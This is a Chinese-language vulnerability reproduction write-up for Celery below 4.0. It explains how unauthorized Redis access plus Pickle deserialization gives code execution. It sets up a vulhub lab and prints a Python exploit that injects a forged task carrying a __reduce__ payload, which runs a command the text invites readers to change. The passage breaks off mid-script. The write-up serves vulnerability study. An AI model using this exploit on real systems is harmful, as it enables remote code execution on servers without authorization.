Celery<4.0未授权访问&Pickle反序列化利用漏洞复现
漏洞描述 Celery是一个简单、灵活、可靠的分布式系统,用于处理大量消息的同时也为操作提供维护此类系统所需的工具,其专注于实时处理的任务队列,支持任务调度。 Celery 4.0以下版本默认使用Pickle进行任务消息的序列化传递,而当所用队列服务(Redis、RabbitMQ、RocketMQ等)存在未授权访问问题时,便可利用Pickle反序列化漏洞实现任意代码执行。 影响版本 Celery 4.0以下版本。 漏洞复现 git clone https://github.com/vulhub/vulhub.git cd vulhub/celery/celery3_redis_unauth docker-compose up -d 在受害主机/tmp目录生成celery_success文件EXP,可根据需求自行修改command内容: import pickle import json import base64 import redis import sys r = redis.Redis(host=sys.argv[1], port=6379, decode_responses=True,db=0) ori_str="{\"content-type\": \"application/x-python-serialize\", \"properties\": {\"delivery_tag\": \"16f3f59d-003c-4ef4-b1ea-6fa92dee529a\", \"reply_to\": \"9edb8565-0b59-3389-944e-a0139180a048\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"delivery_info\": {\"routing_key\": \"celery\", \"priority\": 0, \"exchange\": \"celery\"}, \"correlation_id\": \"6e046b48-bca4-49a0-bfa7-a92847216999\"}, \"headers\": {}, \"content-encoding\": \"binary\", \"body\": \"gAJ9cQAoWAMAAABldGFxAU5YBQAAAGNob3JkcQJOWAQAAABhcmdzcQNLZEvIhnEEWAMAAAB1dGNxBYhYBAAAAHRhc2txBlgJAAAAdGFza3MuYWRkcQdYAgAAAGlkcQhYJAAAADZlMDQ2YjQ4LWJjYTQtNDlhMC1iZmE3LWE5Mjg0NzIxNjk5OXEJWAgAAABlcnJiYWNrc3EKTlgJAAAAdGltZWxpbWl0cQtOToZxDFgGAAAAa3dhcmdzcQ19cQ5YBwAAAHRhc2tzZXRxD05YBwAAAHJldHJpZXNxEEsAWAkAAABjYWxsYmFja3NxEU5YBwAAAGV4cGlyZXNxEk51Lg==\"}" task_dict = json.loads(ori_str) command = 'touch /tmp/celery_success' class Person(object): def __reduce__(self): # 未导入os模块,通用 return (__import__('os')....